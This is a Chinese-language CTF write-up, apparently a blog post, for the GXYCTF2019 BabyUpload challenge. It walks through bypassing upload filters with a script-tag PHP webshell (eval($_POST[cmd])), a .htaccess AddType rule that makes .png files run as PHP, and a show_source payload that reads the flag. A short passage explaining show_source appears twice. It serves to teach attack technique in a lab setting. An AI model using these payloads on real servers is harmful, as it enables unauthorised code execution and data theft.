[GXYCTF2019]BabyUpload wp

打开题目是一个普通的文件上传,首先上传一个普通的一句话木马得到

发现后缀名过滤了ph,所以我们上传一个图片马

上传类型也受限制了,所以把数据类型改为image/ipeg

回显报错说明它检测的是文本的内容,是过滤了php的标志<?

这里还查看到php版本为PHP/5.6,在网上搜索到了绕过姿势

可以使用<script language='php'>eval($_POST[cmd]);</script>

现在只有后缀名无法无法绕过了,这里我们想到.htaccess

.htaccess攻击

.htaccess是Apache服务器的分布式配置文件,该配置文件会覆盖Apache服务器的全局配置,作用域是当前目录及其子目录。

如果一个web应用允许上传.htaccess 文件,那就意味着攻击者可以更改Apache 的配置,这是十分危险。

若配置文件中有如图中一样,即表示允许被覆盖。

*将.png文件当作PHP文件解析

将以下代码写入文件,并保存成.htaccess名字,放到测试目录下

AddType application/ x-httpd-php .png

在同一目录下创建一个文件[info. png],文件内容如下

<?php

phpinfo( );

?>

当我们访问该文件时,[info.png] 内的PHP代码将会被执行。

我们看到server:OpenResty

OpenResty(也称为 ngx_openresty)是一个全功能的 Web 应用服务器。它打包了标准的 Nginx 核心,很多的常用的第三方模块,以及它们的大多数依赖项。

在查询过后发现Nginx也是可以使用.htaccess文件的,所以我们可以是先上传.htaccess文件后,绕过后缀名的检测

之后上传shell.shell文件

解析上传成功,

我们访问这个木马,并且用show_source() 函数,查看到flag。

0x01 PHP show_source() 函数

定义和用法

show_source() 函数对文件进行语法高亮显示。

语法

show_source(filename,return)
本函数是 highlight_file() 的别名。

filename 必需。要进行高亮处理的 PHP 文件的路径。

return 可选。如果设置 true,则本函数返回高亮处理的代码。

返回值

如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。(比如写了一段计算的代码,会返回代码本身而不是计算结果)否则,若成功,则返回 true,失败则返回 false。

payload:最post:shell=show_source('/flag');得到flag。

0x01 PHP show_source() 函数

定义和用法

show_source() 函数对文件进行语法高亮显示。

语法

show_source(filename,return)
本函数是 highlight_file() 的别名。

filename 必需。要进行高亮处理的 PHP 文件的路径。

return 可选。如果设置 true,则本函数返回高亮处理的代码。

返回值

如果 return 参数被设置为 true,那么该函数会返回被高亮处理的代码,而不是输出它们。(比如写了一段计算的代码,会返回代码本身而不是计算结果)否则,若成功,则返回 true,失败则返回 false。

0x02 payload

最后post:shell=show_source('/flag');得到flag

做完题之后看到了附件里面有源码

通过代码审计之后确实是过滤了后缀名,文件类型,上传内容中的<?。

最后附上文件上传的解题思路



 

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值